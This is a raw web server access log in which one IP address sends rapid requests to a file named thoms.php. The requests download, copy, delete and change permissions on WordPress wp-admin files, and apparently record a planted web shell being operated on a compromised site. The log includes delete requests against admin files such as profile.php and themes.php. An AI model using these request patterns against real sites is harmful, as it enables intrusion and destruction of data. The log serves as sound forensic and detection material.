45.135.193.11 - - [11/Sep/2026:23:30:52 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=custom-background.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=custom-background.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?chmod=freedoms.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22215 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=custom-background.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:52 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=privacy-policy-guide.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=privacy-policy-guide.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22206 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=privacy-policy-guide.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:52 -0400] "GET /thoms.php?chmod=images&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=images&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:52 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/load-styles.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:52 -0400] "GET /thoms.php?dl=admin-ajax.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=admin-ajax.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22245 "https://163.245.207.76:443/thoms.php?chmod=images&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:52 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/press-this.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:52 -0400] "GET /thoms.php?dl=edit.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=edit.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22215 "https://163.245.207.76:443/thoms.php?dl=admin-ajax.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:52 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/ms-users.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:52 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/images/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22317 "https://163.245.207.76:443/thoms.php?dl=edit.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:53 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/about.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:53 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/edit-form-comment.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:53 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=about.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=about.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:53 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fadmin-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fadmin-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22233 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=about.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:53 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fmenu-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fmenu-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fadmin-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:53 -0400] "GET /thoms.php?del=options-reading.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=options-reading.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22239 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fmenu-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=options-reading.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:53 -0400] "GET /thoms.php?del=profile.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=profile.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:53 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fuser HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fuser" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:53 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=nav-menus.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=nav-menus.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22280 "https://163.245.207.76:443/thoms.php?del=profile.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22226 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fuser" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=nav-menus.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:53 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=post.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:53 -0400] "GET /thoms.php?del=themes.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=themes.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=themes.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:54 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fwidgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fwidgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:54 -0400] "GET /thoms.php?del=credits.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=credits.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fwidgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:54 -0400] "GET /thoms.php?del=load-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=load-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=credits.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22237 "https://163.245.207.76:443/thoms.php?del=load-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:54 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=options-head.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=options-head.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=options-head.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:54 -0400] "GET /thoms.php?dl=term.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=term.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:54 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fuser-new.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fuser-new.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=term.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:54 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=users.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=users.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22170 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fuser-new.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:54 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/custom-background.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22207 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=users.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:54 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fjs&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fjs&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fjs&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:54 -0400] "GET /thoms.php?dl=moderation.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=moderation.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:54 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=edit-tag-form.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=edit-tag-form.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:55 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=options-discussion.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=options-discussion.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:55 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=moderation.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:55 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22271 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=edit-tag-form.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:55 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22227 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=options-discussion.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:55 -0400] "GET /thoms.php?chmod=post.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=post.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:55 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/edit-tags.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:55 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=post.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:55 -0400] "GET /thoms.php?del=theme-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=theme-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:55 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=theme-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:55 -0400] "GET /thoms.php?dl=media-new.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=media-new.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:55 -0400] "GET /thoms.php?del=authorize-application.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=authorize-application.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:55 -0400] "GET /thoms.php?del=options-head.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=options-head.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:55 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22197 "https://163.245.207.76:443/thoms.php?del=authorize-application.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:55 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?dl=media-new.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:55 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=options-head.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:55 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=options-privacy.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=options-privacy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:55 -0400] "GET /thoms.php?chmod=options-privacy.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=options-privacy.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:55 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=options-privacy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:55 -0400] "GET /thoms.php?del=options-privacy.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=options-privacy.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
